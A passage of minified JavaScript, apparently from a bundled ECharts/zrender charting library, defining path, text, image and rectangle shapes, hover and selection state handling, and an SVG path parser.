o=i.lineWidth,s=i.strokeNoScale?this.getLineScale():1;if(s>1e-10&&(this.hasFill()||(o=Math.max(o,this.strokeContainThreshold)),yu(a,o/s,e,t)))return!0}if(this.hasFill())return vu(a,e,t)}return!1},t.prototype.dirtyShape=function(){this.__dirty|=4,this._rect&&=null,this._decalEl&&this._decalEl.dirtyShape(),this.markRedraw()},t.prototype.dirty=function(){this.dirtyStyle(),this.dirtyShape()},t.prototype.animateShape=function(e){return this.animate(`shape`,e)},t.prototype.updateDuringAnimation=function(e){e===`style`?this.dirtyStyle():e===`shape`?this.dirtyShape():this.markRedraw()},t.prototype.attrKV=function(t,n){t===`shape`?this.setShape(n):e.prototype.attrKV.call(this,t,n)},t.prototype.setShape=function(e,t){var n=this.shape;return n||=this.shape={},typeof e==`string`?n[e]=t:F(n,e),this.dirtyShape(),this},t.prototype.shapeChanged=function(){return!!(this.__dirty&4)},t.prototype.createStyle=function(e){return Lt(bu,e)},t.prototype._innerSaveToNormal=function(t){e.prototype._innerSaveToNormal.call(this,t);var n=this._normalState;t.shape&&!n.shape&&(n.shape=F({},this.shape))},t.prototype._applyStateObj=function(t,n,r,i,a,o){e.prototype._applyStateObj.call(this,t,n,r,i,a,o);var s=!(n&&i),c;if(n&&n.shape?a?i?c=n.shape:(c=F({},r.shape),F(c,n.shape)):(c=F({},i?this.shape:r.shape),F(c,n.shape)):s&&(c=r.shape),c)if(a){this.shape=F({},this.shape);for(var l={},u=dt(c),d=0;d<u.length;d++){var f=u[d];typeof c[f]==`object`?this.shape[f]=c[f]:l[f]=c[f]}this._transitionState(t,{shape:l},o)}else this.shape=c,this.dirtyShape()},t.prototype._mergeStates=function(t){for(var n=e.prototype._mergeStates.call(this,t),r,i=0;i<t.length;i++){var a=t[i];a.shape&&(r||={},this._mergeStyle(r,a.shape))}return r&&(n.shape=r),n},t.prototype.getAnimationStyleProps=function(){return xu},t.prototype.isZeroArea=function(){return!1},t.extend=function(e){var n=function(t){N(n,t);function n(n){var r=t.call(this,n)||this;return e.init&&e.init.call(r,n),r}return n.prototype.getDefaultStyle=function(){return P(e.style)},n.prototype.getDefaultShape=function(){return P(e.shape)},n}(t);for(var r in e)typeof e[r]==`function`&&(n.prototype[r]=e[r]);return n},t.initDefaultProps=(function(){var e=t.prototype;e.type=`path`,e.strokeContainThreshold=5,e.segmentIgnoreThreshold=0,e.subPixelOptimize=!1,e.autoBatch=!1,e.__dirty=7})(),t}(hl),wu=I({strokeFirst:!0,font:Fe,x:0,y:0,textAlign:`left`,textBaseline:`top`,miterLimit:2},bu),Tu=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.hasStroke=function(){return ll(this.style)},t.prototype.hasFill=function(){var e=this.style.fill;return e!=null&&e!==`none`},t.prototype.createStyle=function(e){return Lt(wu,e)},t.prototype.setBoundingRect=function(e){this._rect=e},t.prototype.getBoundingRect=function(){return this._rect||=sl(this.style),this._rect},t.initDefaultProps=(function(){var e=t.prototype;e.dirtyRectTolerance=10})(),t}(hl);Tu.prototype.type=`tspan`;var Eu=I({x:0,y:0},dl),Du={style:I({x:!0,y:!0,width:!0,height:!0,sx:!0,sy:!0,sWidth:!0,sHeight:!0},fl.style)};function Ou(e){return!!(e&&typeof e!=`string`&&e.width&&e.height)}var ku=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.createStyle=function(e){return Lt(Eu,e)},t.prototype._getSize=function(e){var t=this.style,n=t[e];if(n!=null)return n;var r=Ou(t.image)?t.image:this.__image;if(!r)return 0;var i=e===`width`?`height`:`width`,a=t[i];return a==null?r[e]:r[e]/r[i]*a},t.prototype.getWidth=function(){return this._getSize(`width`)},t.prototype.getHeight=function(){return this._getSize(`height`)},t.prototype.getAnimationStyleProps=function(){return Du},t.prototype.getBoundingRect=function(){var e=this.style;return this._rect||=new J(e.x||0,e.y||0,this.getWidth(),this.getHeight()),this._rect},t}(hl);ku.prototype.type=`image`;function Au(e,t){var n=t.x,r=t.y,i=t.width,a=t.height,o=t.r,s,c,l,u;i<0&&(n+=i,i=-i),a<0&&(r+=a,a=-a),typeof o==`number`?s=c=l=u=o:o instanceof Array?o.length===1?s=c=l=u=o[0]:o.length===2?(s=l=o[0],c=u=o[1]):o.length===3?(s=o[0],c=u=o[1],l=o[2]):(s=o[0],c=o[1],l=o[2],u=o[3]):s=c=l=u=0;var d;s+c>i&&(d=s+c,s*=i/d,c*=i/d),l+u>i&&(d=l+u,l*=i/d,u*=i/d),c+l>a&&(d=c+l,c*=a/d,l*=a/d),s+u>a&&(d=s+u,s*=a/d,u*=a/d),e.moveTo(n+s,r),e.lineTo(n+i-c,r),c!==0&&e.arc(n+i-c,r+c,c,-Math.PI/2,0),e.lineTo(n+i,r+a-l),l!==0&&e.arc(n+i-l,r+a-l,l,0,Math.PI/2),e.lineTo(n+u,r+a),u!==0&&e.arc(n+u,r+a-u,u,Math.PI/2,Math.PI),e.lineTo(n,r+s),s!==0&&e.arc(n+s,r+s,s,Math.PI,Math.PI*1.5)}var ju=Math.round;function Mu(e,t,n){if(t){var r=t.x1,i=t.x2,a=t.y1,o=t.y2;e.x1=r,e.x2=i,e.y1=a,e.y2=o;var s=n&&n.lineWidth;return s?(ju(r*2)===ju(i*2)&&(e.x1=e.x2=Pu(r,s,!0)),ju(a*2)===ju(o*2)&&(e.y1=e.y2=Pu(a,s,!0)),e):e}}function Nu(e,t,n){if(t){var r=t.x,i=t.y,a=t.width,o=t.height;e.x=r,e.y=i,e.width=a,e.height=o;var s=n&&n.lineWidth;return s?(e.x=Pu(r,s,!0),e.y=Pu(i,s,!0),e.width=Math.max(Pu(r+a,s,!1)-e.x,a===0?0:1),e.height=Math.max(Pu(i+o,s,!1)-e.y,o===0?0:1),e):e}}function Pu(e,t,n){if(!t)return e;var r=ju(e*2);return(r+ju(t))%2==0?r/2:(r+(n?1:-1))/2}var Fu=function(){function e(){this.x=0,this.y=0,this.width=0,this.height=0}return e}(),Iu={},Lu=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new Fu},t.prototype.buildPath=function(e,t){var n,r,i,a;if(this.subPixelOptimize){var o=Nu(Iu,t,this.style);n=o.x,r=o.y,i=o.width,a=o.height,o.r=t.r,t=o}else n=t.x,r=t.y,i=t.width,a=t.height;t.r?Au(e,t):e.rect(n,r,i,a)},t.prototype.isZeroArea=function(){return!this.shape.width||!this.shape.height},t}(Cu);Lu.prototype.type=`rect`;var Ru={fill:`#000`},zu=2,Bu={},Vu={style:I({fill:!0,stroke:!0,fillOpacity:!0,strokeOpacity:!0,lineWidth:!0,fontSize:!0,lineHeight:!0,width:!0,height:!0,textShadowColor:!0,textShadowBlur:!0,textShadowOffsetX:!0,textShadowOffsetY:!0,backgroundColor:!0,padding:!0,borderColor:!0,borderWidth:!0,borderRadius:!0},fl.style)},Hu=function(e){N(t,e);function t(t){var n=e.call(this)||this;return n.type=`text`,n._children=[],n._defaultStyle=Ru,n.attr(t),n}return t.prototype.childrenRef=function(){return this._children},t.prototype.update=function(){e.prototype.update.call(this),this.styleChanged()&&this._updateSubTexts();for(var t=0;t<this._children.length;t++){var n=this._children[t];n.zlevel=this.zlevel,n.z=this.z,n.z2=this.z2,n.culling=this.culling,n.cursor=this.cursor,n.invisible=this.invisible}},t.prototype.updateTransform=function(){var t=this.innerTransformable;t?(t.updateTransform(),t.transform&&(this.transform=t.transform)):e.prototype.updateTransform.call(this)},t.prototype.getLocalTransform=function(t){var n=this.innerTransformable;return n?n.getLocalTransform(t):e.prototype.getLocalTransform.call(this,t)},t.prototype.getComputedTransform=function(){return this.__hostTarget&&(this.__hostTarget.getComputedTransform(),this.__hostTarget.updateInnerText(!0)),e.prototype.getComputedTransform.call(this)},t.prototype._updateSubTexts=function(){this._childCursor=0,Yu(this.style),this.style.rich?this._updateRichTexts():this._updatePlainTexts(),this._children.length=this._childCursor,this.styleUpdated()},t.prototype.addSelfToZr=function(t){e.prototype.addSelfToZr.call(this,t);for(var n=0;n<this._children.length;n++)this._children[n].__zr=t},t.prototype.removeSelfFromZr=function(t){e.prototype.removeSelfFromZr.call(this,t);for(var n=0;n<this._children.length;n++)this._children[n].__zr=null},t.prototype.getBoundingRect=function(){if(this.styleChanged()&&this._updateSubTexts(),!this._rect){for(var e=new J(0,0,0,0),t=this._children,n=[],r=null,i=0;i<t.length;i++){var a=t[i],o=a.getBoundingRect(),s=a.getLocalTransform(n);s?(e.copy(o),e.applyTransform(s),r||=e.clone(),r.union(e)):(r||=o.clone(),r.union(o))}this._rect=r||e}return this._rect},t.prototype.setDefaultTextStyle=function(e){this._defaultStyle=e||Ru},t.prototype.setTextContent=function(e){},t.prototype._mergeStyle=function(e,t){if(!t)return e;var n=t.rich,r=e.rich||n&&{};return F(e,t),n&&r?(this._mergeRich(r,n),e.rich=r):r&&(e.rich=r),e},t.prototype._mergeRich=function(e,t){for(var n=dt(t),r=0;r<n.length;r++){var i=n[r];e[i]=e[i]||{},F(e[i],t[i])}},t.prototype.getAnimationStyleProps=function(){return Vu},t.prototype._getOrCreateChild=function(e){var t=this._children[this._childCursor];return(!t||!(t instanceof e))&&(t=new e),this._children[this._childCursor++]=t,t.__zr=this.__zr,t.parent=this,t},t.prototype._updatePlainTexts=function(){var e=this.style,t=e.font||`12px sans-serif`,n=e.padding,r=this._defaultStyle,i=e.x||0,a=e.y||0,o=e.align||r.align||`left`,s=e.verticalAlign||r.verticalAlign||`top`;rl(Bu,r.overflowRect,i,a,o,s),i=Bu.baseX,a=Bu.baseY;var c=qc(ed(e),e,Bu.outerWidth,Bu.outerHeight),l=td(e),u=!!e.backgroundColor,d=c.outerHeight,f=c.outerWidth,p=c.lines,m=c.lineHeight;this.isTruncated=!!c.isTruncated;var h=i,g=To(a,c.contentHeight,s);if(l||n){var _=wo(i,f,o),v=To(a,d,s);l&&this._renderBackground(e,e,_,v,f,d)}g+=m/2,n&&(h=$u(i,o,n),s===`top`?g+=n[0]:s===`bottom`&&(g-=n[2]));for(var y=0,b=!1,x=!1,S=Qu(`fill`in e?e.fill:(x=!0,r.fill)),C=Zu(`stroke`in e?e.stroke:!u&&(!r.autoStroke||x)?(y=zu,b=!0,r.stroke):null),w=e.textShadowBlur>0,T=0;T<p.length;T++){var E=this._getOrCreateChild(Tu),D=E.createStyle();E.useStyle(D),D.text=p[T],D.x=h,D.y=g,o&&(D.textAlign=o),D.textBaseline=`middle`,D.opacity=e.opacity,D.strokeFirst=!0,w&&(D.shadowBlur=e.textShadowBlur||0,D.shadowColor=e.textShadowColor||`transparent`,D.shadowOffsetX=e.textShadowOffsetX||0,D.shadowOffsetY=e.textShadowOffsetY||0),D.stroke=C,D.fill=S,C&&(D.lineWidth=e.lineWidth||y,D.lineDash=e.lineDash,D.lineDashOffset=e.lineDashOffset||0),D.font=t,qu(D,e),g+=m,E.setBoundingRect(cl(D,c.contentWidth,c.calculatedLineHeight,b?0:null))}},t.prototype._updateRichTexts=function(){var e=this.style,t=this._defaultStyle,n=e.align||t.align,r=e.verticalAlign||t.verticalAlign,i=e.x||0,a=e.y||0;rl(Bu,t.overflowRect,i,a,n,r),i=Bu.baseX,a=Bu.baseY;var o=Zc(ed(e),e,Bu.outerWidth,Bu.outerHeight,n),s=o.width,c=o.outerWidth,l=o.outerHeight,u=e.padding;this.isTruncated=!!o.isTruncated;var d=wo(i,c,n),f=To(a,l,r),p=d,m=f;u&&(p+=u[3],m+=u[0]);var h=p+s;td(e)&&this._renderBackground(e,e,d,f,c,l);for(var g=!!e.backgroundColor,_=0;_<o.lines.length;_++){for(var v=o.lines[_],y=v.tokens,b=y.length,x=v.lineHeight,S=v.width,C=0,w=p,T=h,E=b-1,D=void 0;C<b&&(D=y[C],!D.align||D.align===`left`);)this._placeToken(D,e,x,m,w,`left`,g),S-=D.width,w+=D.width,C++;for(;E>=0&&(D=y[E],D.align===`right`);)this._placeToken(D,e,x,m,T,`right`,g),S-=D.width,T-=D.width,E--;for(w+=(s-(w-p)-(h-T)-S)/2;C<=E;)D=y[C],this._placeToken(D,e,x,m,w+D.width/2,`center`,g),w+=D.width,C++;m+=x}},t.prototype._placeToken=function(e,t,n,r,i,a,o){var s=t.rich[e.styleName]||{};s.text=e.text;var c=e.verticalAlign,l=r+n/2;c===`top`?l=r+e.height/2:c===`bottom`&&(l=r+n-e.height/2),!e.isLineHolder&&td(s)&&this._renderBackground(s,t,a===`right`?i-e.width:a===`center`?i-e.width/2:i,l-e.height/2,e.width,e.height);var u=!!s.backgroundColor,d=e.textPadding;d&&(i=$u(i,a,d),l-=e.height/2-d[0]-e.innerHeight/2);var f=this._getOrCreateChild(Tu),p=f.createStyle();f.useStyle(p);var m=this._defaultStyle,h=!1,g=0,_=!1,v=Qu(`fill`in s?s.fill:`fill`in t?t.fill:(h=!0,m.fill)),y=Zu(`stroke`in s?s.stroke:`stroke`in t?t.stroke:!u&&!o&&(!m.autoStroke||h)?(g=zu,_=!0,m.stroke):null),b=s.textShadowBlur>0||t.textShadowBlur>0;p.text=e.text,p.x=i,p.y=l,b&&(p.shadowBlur=s.textShadowBlur||t.textShadowBlur||0,p.shadowColor=s.textShadowColor||t.textShadowColor||`transparent`,p.shadowOffsetX=s.textShadowOffsetX||t.textShadowOffsetX||0,p.shadowOffsetY=s.textShadowOffsetY||t.textShadowOffsetY||0),p.textAlign=a,p.textBaseline=`middle`,p.font=e.font||`12px sans-serif`,p.opacity=wt(s.opacity,t.opacity,1),qu(p,s),y&&(p.lineWidth=wt(s.lineWidth,t.lineWidth,g),p.lineDash=W(s.lineDash,t.lineDash),p.lineDashOffset=t.lineDashOffset||0,p.stroke=y),v&&(p.fill=v),f.setBoundingRect(cl(p,e.contentWidth,e.contentHeight,_?0:null))},t.prototype._renderBackground=function(e,t,n,r,i,a){var o=e.backgroundColor,s=e.borderWidth,c=e.borderColor,l=o&&o.image,u=o&&!l,d=e.borderRadius,f=this,p,m;if(u||e.lineHeight||s&&c){p=this._getOrCreateChild(Lu),p.useStyle(p.createStyle()),p.style.fill=null;var h=p.shape;h.x=n,h.y=r,h.width=i,h.height=a,h.r=d,p.dirtyShape()}if(u){var g=p.style;g.fill=o||null,g.fillOpacity=W(e.fillOpacity,1)}else if(l){m=this._getOrCreateChild(ku),m.onload=function(){f.dirtyStyle()};var _=m.style;_.image=o.image,_.x=n,_.y=r,_.width=i,_.height=a}if(s&&c){var g=p.style;g.lineWidth=s,g.stroke=c,g.strokeOpacity=W(e.strokeOpacity,1),g.lineDash=e.borderDash,g.lineDashOffset=e.borderDashOffset||0,p.strokeContainThreshold=0,p.hasFill()&&p.hasStroke()&&(g.strokeFirst=!0,g.lineWidth*=2)}var v=(p||m).style;v.shadowBlur=e.shadowBlur||0,v.shadowColor=e.shadowColor||`transparent`,v.shadowOffsetX=e.shadowOffsetX||0,v.shadowOffsetY=e.shadowOffsetY||0,v.opacity=wt(e.opacity,t.opacity,1)},t.makeFont=function(e){var t=``;return Ju(e)&&(t=[e.fontStyle,e.fontWeight,Ku(e.fontSize),e.fontFamily||`sans-serif`].join(` `)),t&&Ot(t)||e.textFont||e.font},t}(hl),Uu={left:!0,right:1,center:1},Wu={top:1,bottom:1,middle:1},Gu=[`fontStyle`,`fontWeight`,`fontSize`,`fontFamily`];function Ku(e){return typeof e==`string`&&(e.indexOf(`px`)!==-1||e.indexOf(`rem`)!==-1||e.indexOf(`em`)!==-1)?e:isNaN(+e)?`12px`:e+`px`}function qu(e,t){for(var n=0;n<Gu.length;n++){var r=Gu[n],i=t[r];i!=null&&(e[r]=i)}}function Ju(e){return e.fontSize!=null||e.fontFamily||e.fontWeight}function Yu(e){return Xu(e),L(e.rich,Xu),e}function Xu(e){if(e){e.font=Hu.makeFont(e);var t=e.align;t===`middle`&&(t=`center`),e.align=t==null||Uu[t]?t:`left`;var n=e.verticalAlign;n===`center`&&(n=`middle`),e.verticalAlign=n==null||Wu[n]?n:`top`,e.padding&&=Et(e.padding)}}function Zu(e,t){return e==null||t<=0||e===`transparent`||e===`none`?null:e.image||e.colorStops?`#000`:e}function Qu(e){return e==null||e===`none`?null:e.image||e.colorStops?`#000`:e}function $u(e,t,n){return t===`right`?e-n[1]:t===`center`?e+n[3]/2-n[1]/2:e+n[3]}function ed(e){var t=e.text;return t!=null&&(t+=``),t}function td(e){return!!(e.backgroundColor||e.lineHeight||e.borderWidth&&e.borderColor)}var Z=oc(),nd=function(e,t,n,r){if(r){var i=Z(r);i.dataIndex=n,i.dataType=t,i.seriesIndex=e,i.ssrType=`chart`,r.type===`group`&&r.traverse(function(r){var i=Z(r);i.seriesIndex=e,i.dataIndex=n,i.dataType=t,i.ssrType=`chart`})}},rd=1,id={},ad=oc(),od=oc(),sd=[`emphasis`,`blur`,`select`],cd=[`normal`,`emphasis`,`blur`,`select`],ld=`highlight`,ud=`downplay`,dd=`select`,fd=`unselect`,pd=`toggleSelect`,md=`selectchanged`;function hd(e){return e!=null&&e!==`none`}function gd(e,t,n){e.onHoverStateChange&&(e.hoverState||0)!==n&&e.onHoverStateChange(t),e.hoverState=n}function _d(e){gd(e,`emphasis`,2)}function vd(e){e.hoverState===2&&gd(e,`normal`,0)}function yd(e){gd(e,`blur`,1)}function bd(e){e.hoverState===1&&gd(e,`normal`,0)}function xd(e){e.selected=!0}function Sd(e){e.selected=!1}function Cd(e,t,n){t(e,n)}function wd(e,t,n){Cd(e,t,n),e.isGroup&&e.traverse(function(e){Cd(e,t,n)})}function Td(e,t){switch(t){case`emphasis`:e.hoverState=2;break;case`normal`:e.hoverState=0;break;case`blur`:e.hoverState=1;break;case`select`:e.selected=!0}}function Ed(e,t,n,r){for(var i=e.style,a={},o=0;o<t.length;o++){var s=t[o];a[s]=i[s]??(r&&r[s])}for(var o=0;o<e.animators.length;o++){var c=e.animators[o];c.__fromStateTransition&&c.__fromStateTransition.indexOf(n)<0&&c.targetName===`style`&&c.saveTo(a,t)}return a}function Dd(e,t,n,r){var i=n&&it(n,`select`)>=0,a=!1;if(e instanceof Cu){var o=ad(e),s=i&&o.selectFill||o.normalFill,c=i&&o.selectStroke||o.normalStroke;if(hd(s)||hd(c)){r||={};var l=r.style||{};l.fill===`inherit`?(a=!0,r=F({},r),l=F({},l),l.fill=s):!hd(l.fill)&&hd(s)?(a=!0,r=F({},r),l=F({},l),l.fill=Bi(s)):!hd(l.stroke)&&hd(c)&&(a||(r=F({},r),l=F({},l)),l.stroke=Bi(c)),r.style=l}}if(r&&r.z2==null){a||(r=F({},r));var u=e.z2EmphasisLift;r.z2=e.z2+(u??10)}return r}function Od(e,t,n){if(n&&n.z2==null){n=F({},n);var r=e.z2SelectLift;n.z2=e.z2+(r??9)}return n}function kd(e,t,n){var r=it(e.currentStates,t)>=0,i=e.style.opacity,a=r?null:Ed(e,[`opacity`],t,{opacity:1});n||={};var o=n.style||{};return o.opacity??(n=F({},n),o=F({opacity:r?i:a.opacity*.1},o),n.style=o),n}function Ad(e,t){var n=this.states[e];if(this.style){if(e===`emphasis`)return Dd(this,e,t,n);if(e===`blur`)return kd(this,e,n);if(e===`select`)return Od(this,e,n)}return n}function jd(e){e.stateProxy=Ad;var t=e.getTextContent(),n=e.getTextGuideLine();t&&(t.stateProxy=Ad),n&&(n.stateProxy=Ad)}function Md(e,t){!Bd(e,t)&&!e.__highByOuter&&wd(e,_d)}function Nd(e,t){!Bd(e,t)&&!e.__highByOuter&&wd(e,vd)}function Pd(e,t){e.__highByOuter|=1<<(t||0),wd(e,_d)}function Fd(e,t){!(e.__highByOuter&=~(1<<(t||0)))&&wd(e,vd)}function Id(e){wd(e,yd)}function Ld(e){wd(e,bd)}function Rd(e){wd(e,xd)}function zd(e){wd(e,Sd)}function Bd(e,t){return e.__highDownSilentOnTouch&&t.zrByTouch}function Vd(e){var t=e.getModel(),n=[],r=[];t.eachComponent(function(t,i){var a=od(i),o=t===`series`,s=o?e.getViewOfSeriesModel(i):e.getViewOfComponentModel(i);!o&&r.push(s),a.isBlured&&(s.group.traverse(function(e){bd(e)}),o&&n.push(i)),a.isBlured=!1}),L(r,function(e){e&&e.toggleBlurSeries&&e.toggleBlurSeries(n,!1,t)})}function Hd(e,t,n,r){var i=r.getModel();n||=`coordinateSystem`;function a(e,t){for(var n=0;n<t.length;n++){var r=e.getItemGraphicEl(t[n]);r&&Ld(r)}}if(e!=null&&!(!t||t===`none`)){var o=i.getSeriesByIndex(e),s=o.coordinateSystem;s&&s.master&&(s=s.master);var c=[];i.eachSeries(function(e){var i=o===e,l=e.coordinateSystem;if(l&&l.master&&(l=l.master),!(n===`series`&&!i||n===`coordinateSystem`&&!(l&&s?l===s:i)||t===`series`&&i)){if(r.getViewOfSeriesModel(e).group.traverse(function(e){e.__highByOuter&&i&&t===`self`||yd(e)}),st(t))a(e.getData(),t);else if(U(t))for(var u=dt(t),d=0;d<u.length;d++)a(e.getData(u[d]),t[u[d]]);c.push(e),od(e).isBlured=!0}}),i.eachComponent(function(e,t){if(e!==`series`){var n=r.getViewOfComponentModel(t);n&&n.toggleBlurSeries&&n.toggleBlurSeries(c,!0,i)}})}}function Ud(e,t,n){if(!(e==null||t==null)){var r=n.getModel().getComponent(e,t);if(r){od(r).isBlured=!0;var i=n.getViewOfComponentModel(r);!i||!i.focusBlurEnabled||i.group.traverse(function(e){yd(e)})}}}function Wd(e,t,n){var r=e.seriesIndex,i=e.getData(t.dataType);if(i){var a=ac(i,t);a=(B(a)?a[0]:a)||0;var o=i.getItemGraphicEl(a);if(!o)for(var s=i.count(),c=0;!o&&c<s;)o=i.getItemGraphicEl(c++);if(o){var l=Z(o);Hd(r,l.focus,l.blurScope,n)}else{var u=e.get([`emphasis`,`focus`]),d=e.get([`emphasis`,`blurScope`]);u!=null&&Hd(r,u,d,n)}}}function Gd(e,t,n,r){var i={focusSelf:!1,dispatchers:null};if(e==null||e===`series`||t==null||n==null)return i;var a=r.getModel().getComponent(e,t);if(!a)return i;var o=r.getViewOfComponentModel(a);if(!o||!o.findHighDownDispatchers)return i;for(var s=o.findHighDownDispatchers(n),c,l=0;l<s.length;l++)if(Z(s[l]).focus===`self`){c=!0;break}return{focusSelf:c,dispatchers:s}}function Kd(e,t,n){var r=Z(e),i=Gd(r.componentMainType,r.componentIndex,r.componentHighDownName,n),a=i.dispatchers,o=i.focusSelf;a?(o&&Ud(r.componentMainType,r.componentIndex,n),L(a,function(e){return Md(e,t)})):(Hd(r.seriesIndex,r.focus,r.blurScope,n),r.focus===`self`&&Ud(r.componentMainType,r.componentIndex,n),Md(e,t))}function qd(e,t,n){Vd(n);var r=Z(e),i=Gd(r.componentMainType,r.componentIndex,r.componentHighDownName,n).dispatchers;i?L(i,function(e){return Nd(e,t)}):Nd(e,t)}function Jd(e,t,n){if(lf(t)){var r=t.dataType,i=ac(e.getData(r),t);B(i)||(i=[i]),e[t.type===`toggleSelect`?`toggleSelect`:t.type===`select`?`select`:`unselect`](i,r)}}function Yd(e){L(e.getAllData(),function(t){var n=t.data,r=t.type;n.eachItemGraphicEl(function(t,n){e.isSelected(n,r)?Rd(t):zd(t)})})}function Xd(e){var t=[];return e.eachSeries(function(e){L(e.getAllData(),function(n){n.data;var r=n.type,i=e.getSelectedDataIndices();if(i.length>0){var a={dataIndex:i,seriesIndex:e.seriesIndex};r!=null&&(a.dataType=r),t.push(a)}})}),t}function Zd(e,t,n){af(e,!0),wd(e,jd),ef(e,t,n)}function Qd(e){af(e,!1)}function $d(e,t,n,r){r?Qd(e):Zd(e,t,n)}function ef(e,t,n){var r=Z(e);t==null?r.focus&&=null:(r.focus=t,r.blurScope=n)}var tf=[`emphasis`,`blur`,`select`],nf={itemStyle:`getItemStyle`,lineStyle:`getLineStyle`,areaStyle:`getAreaStyle`};function rf(e,t,n,r){n||=`itemStyle`;for(var i=0;i<tf.length;i++){var a=tf[i],o=t.getModel([a,n]),s=e.ensureState(a);s.style=r?r(o):o[nf[n]]()}}function af(e,t){var n=t===!1,r=e;e.highDownSilentOnTouch&&(r.__highDownSilentOnTouch=e.highDownSilentOnTouch),(!n||r.__highDownDispatcher)&&(r.__highByOuter=r.__highByOuter||0,r.__highDownDispatcher=!n)}function of(e){return!!(e&&e.__highDownDispatcher)}function sf(e,t,n){var r=Z(e);r.componentMainType=t.mainType,r.componentIndex=t.componentIndex,r.componentHighDownName=n}function cf(e){var t=id[e];return t==null&&rd<=32&&(t=id[e]=rd++),t}function lf(e){var t=e.type;return t===`select`||t===`unselect`||t===`toggleSelect`}function uf(e){var t=e.type;return t===`highlight`||t===`downplay`}function df(e){var t=ad(e);t.normalFill=e.style.fill,t.normalStroke=e.style.stroke;var n=e.states.select||{};t.selectFill=n.style&&n.style.fill||null,t.selectStroke=n.style&&n.style.stroke||null}var ff=Ql.CMD,pf=[[],[],[]],mf=Math.sqrt,hf=Math.atan2;function gf(e,t){if(t){var n=e.data,r=e.len(),i,a,o,s,c,l,u=ff.M,d=ff.C,f=ff.L,p=ff.R,m=ff.A,h=ff.Q;for(o=0,s=0;o<r;){switch(i=n[o++],s=o,a=0,i){case u:a=1;break;case f:a=1;break;case d:a=3;break;case h:a=2;break;case m:var g=t[4],_=t[5],v=mf(t[0]*t[0]+t[1]*t[1]),y=mf(t[2]*t[2]+t[3]*t[3]),b=hf(-t[1]/y,t[0]/v);n[o]*=v,n[o++]+=g,n[o]*=y,n[o++]+=_,n[o++]*=v,n[o++]*=y,n[o++]+=b,n[o++]+=b,o+=2,s=o;break;case p:l[0]=n[o++],l[1]=n[o++],rn(l,l,t),n[s++]=l[0],n[s++]=l[1],l[0]+=n[o++],l[1]+=n[o++],rn(l,l,t),n[s++]=l[0],n[s++]=l[1]}for(c=0;c<a;c++){var x=pf[c];x[0]=n[o++],x[1]=n[o++],rn(x,x,t),n[s++]=x[0],n[s++]=x[1]}}e.increaseVersion()}}var _f=Math.sqrt,vf=Math.sin,yf=Math.cos,bf=Math.PI;function xf(e){return Math.sqrt(e[0]*e[0]+e[1]*e[1])}function Sf(e,t){return(e[0]*t[0]+e[1]*t[1])/(xf(e)*xf(t))}function Cf(e,t){return(e[0]*t[1]<e[1]*t[0]?-1:1)*Math.acos(Sf(e,t))}function wf(e,t,n,r,i,a,o,s,c,l,u){var d=bf/180*c,f=yf(d)*(e-n)/2+vf(d)*(t-r)/2,p=-1*vf(d)*(e-n)/2+yf(d)*(t-r)/2,m=f*f/(o*o)+p*p/(s*s);m>1&&(o*=_f(m),s*=_f(m));var h=(i===a?-1:1)*_f((o*o*(s*s)-o*o*(p*p)-s*s*(f*f))/(o*o*(p*p)+s*s*(f*f)))||0,g=h*o*p/s,_=h*-s*f/o,v=(e+n)/2+yf(d)*g-vf(d)*_,y=(t+r)/2+vf(d)*g+yf(d)*_,b=Cf([1,0],[(f-g)/o,(p-_)/s]),x=[(f-g)/o,(p-_)/s],S=[(-1*f-g)/o,(-1*p-_)/s],C=Cf(x,S);if(Sf(x,S)<=-1&&(C=bf),Sf(x,S)>=1&&(C=0),C<0){var w=Math.round(C/bf*1e6)/1e6;C=bf*2+w%2*bf}u.addData(l,v,y,o,s,b,C,d,a)}var Tf=/([mlvhzcqtsa])([^mlvhzcqtsa]*)/gi,Ef=/-?([0-9]*\.)?[0-9]+([eE]-?[0-9]+)?/g;function Df(e){var t=new Ql;if(!e)return t;var n=0,r=0,i=n,a=r,o,s=Ql.CMD,c=e.match(Tf);if(!c)return t;for(var l=0;l<c.length;l++){for(var u=c[l],d=u.charAt(0),f=void 0,p=u.match(Ef)||[],m=p.length,h=0;h<m;h++)p[h]=parseFloat(p[h]);for(var g=0;g<m;){var _=void 0,v=void 0,y=void 0,b=void 0,x=void 0,S=void 0,C=void 0,w=n,T=r,E=void 0,D=void 0;switch(d){case`l`:n+=p[g++],r+=p[g++],f=s.L,t.addData(f,n,r);break;case`L`:n=p[g++],r=p[g++],f=s.L,t.addData(f,n,r);break;case`m`:n+=p[g++],r+=p[g++],f=s.M,t.addData(f,n,r),i=n,a=r,d=`l`;break;case`M`:n=p[g++],r=p[g++],f=s.M,t.addData(f,n,r),i=n,a=r,d=`L`;break;case`h`:n+=p[g++],f=s.L,t.addData(f,n,r);break;case`H`:n=p[g++],f=s.L,t.addData(f,n,r);break;case`v`:r+=p[g++],f=s.L,t.addData(f,n,r);break;case`V`:r=p[g++],f=s.L,t.addData(f,n,r);break;case`C`:f=s.C,t.addData(f,p[g++],p[g++],p[g++],p[g++],p[g++],p[g++]),n=p[g-2],r=p[g-1];break;case`c`:f=s.C,t.addData(f,p[g++]+n,p[g++]+r,p[g++]+n,p[g++]+r,p[g++]+n,p[g++]+r),n+=p[g-2],r+=p[g-1];break;case`S`:_=n,v=r,E=t.len(),D=t.data,o===s.C&&(_+=n-D[E-4],v+=r-D[E-3]),f=s.C,w=p[g++],T=p[g++],n=p[g++],r=p[g++],t.addData(f,_,v,w,T,n,r);break;case`s`:_=n,v=r,E=t.len(),D=t.data,o===s.C&&(_+=n-D[E-4],v+=r-D[E-3]),f=s.C,w=n+p[g++],T=r+p[g++],n+=p[g++],r+=p[g++],t.addData(f,_,v,w,T,n,r);break;case`Q`:w=p[g++],T=p[g++],n=p[g++],r=p[g++],f=s.Q,t.addData(f,w,T,n,r);break;case`q`:w=p[g++]+n,T=p[g++]+r,n+=p[g++],r+=p[g++],f=s.Q,t.addData(f,w,T,n,r);break;case`T`:_=n,v=r,E=t.len(),D=t.data,o===s.Q&&(_+=n-D[E-4],v+=r-D[E-3]),n=p[g++],r=p[g++],f=s.Q,t.addData(f,_,v,n,r);break;case`t`:_=n,v=r,E=t.len(),D=t.data,o===s.Q&&(_+=n-D[E-4],v+=r-D[E-3]),n+=p[g++],r+=p[g++],f=s.Q,t.addData(f,_,v,